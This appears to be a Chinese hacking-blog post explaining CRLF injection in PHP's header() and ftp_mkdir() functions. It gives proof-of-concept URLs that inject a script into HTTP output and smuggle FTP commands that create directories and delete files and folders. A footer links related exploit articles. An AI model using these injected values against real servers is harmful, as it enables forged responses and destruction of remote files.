PHP本身很早就提供了对网络的支持,支持包括HTTP,FTP,MAIL在内的种种网络协议,其本身也提供了一大批能直接操作HTTP与FTP的函数,操作http的如header,操作ftp的如ftp_mkdir等等一些函数。但是由于php在控制这些函数的参数时存在漏洞,可能导致一些意外的事情发生。
大家知道'在SQL语句中可能截断前面的SQL语句,从而可能被人恶意控制整个整个语句,在http和ftp等协议中,一样存在这样的字符可能被人注入自己的命令。大家知道在HTTP中,一个HTTP头是rn分割的,而Header函数允许程序在具体的内容发送向用户前发送一个原始的http头,如果我们在参数里送入一个回车会怎么样呢?
Example:
<?
$charset=$_GET[$charset];
header('Content-Type: text/html; charset='.$charset);
.....
.....
?>
如果我们向$charset里注射rn也相当于注射了HTTP中的元字符,结果会怎么样呢?
Exp: <a href=\'http://www.loveshell.net/test.php?charset=GBK%0D%0A%0D%0A<script>alert</a>()</script>
这样就可以看到效果,我们是可以伪造输出的任何内容了,并且可以覆盖以前提交的HEADER头内容 :),但是从5.1.2版本开始,php已经意识到了这个问题,对于上面同样的操作,在高版本的PHP里PHP会阻止我们的第二个HTTP头,并且报告一个waring级别的错误,我们就只能看看路径了 :(
那么对于FTP呢?在FTP中一条命令的结束也是以rn(可能表述并不准确,r一样可以造成同样的问题)结束的,如果我们能在参数里注入这样的命令分隔符会怎么样呢?
Example:
<?php
$ftp_server='<a href=\'http://www.loveshell.net';\' target=\'_blank\'>www.loveshell.net';</a>
$ftp_user_name='loveshell';
$ftp_user_pass='loveshell';
$command = $_GET['dir'];
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if($command) ftp_mkdir($conn_id, $command);
.......
Exp: <a href=\'http://www.loveshell.net/test.php?dir=loveshell%0D%0AMKD\' target=\'_blank\'>http://www.loveshell.net/test.php?dir=loveshell%0D%0AMKD</a> jnc%0D%0ADELE jnc.txt%0D%0Armd test
最终的结果是loveshell目录被成功建立,顺便还建立了jnc目录,jnc.txt被删除,test目录被删除,我们注入的命令成功执行了!抓包看看结果吧,原来ftp_mkdir函数直接把我们提交的内容放到了MKD参数后面变成了:
MKD loveshell
MKD jnc
DELE jnc.txt
rmd test
然后ftp服务器处理这些命令,很明显,这些发送的内容最终被ftp解析成客户端的内容从而被执行了!最近很多的bbs和脚本程序都开始提供远程上传的功能,其本质都是利用ftp来将附件传到远程的服务器上,嘿嘿,如果我们能往文件名里注射我们的回车,结果会怎么样呢?貌似到现在,PHP都没有意识并且处理这个问题。
其他的函数如mail都应该有这样的问题,但是我没有测试。看来,在SQL注射被普遍利用并且重视的今天,寻找些其他方面的注射还是很有意思的哦!
| dxbbs漏洞(通杀7.3以前所有版本) | 04-06 | |
| 记对一足球推荐站点的渗透 | 04-06 | |
| 注射DB_ONER权限并且主机与数据库 | 04-06 | |
| bbsxp sql最新版再爆0day? | 04-02 | |
| BBS的通杀跨站方法 | 04-02 | |
| CCTV的XSS跨站 | 03-28 | |
| 全面解析百度XSS跨站漏洞 | 03-26 | |
| Wordpress 2.1.2 以及之前版本物 | 03-26 | |
| 动易最新入侵方法 | 03-15 | |
| PJBlog漏洞利用 | 03-14 | |
| DVBBS <= 7.1.0 sp1 博客 远程注 | 03-14 | |
| php简单入侵 | 02-07 | |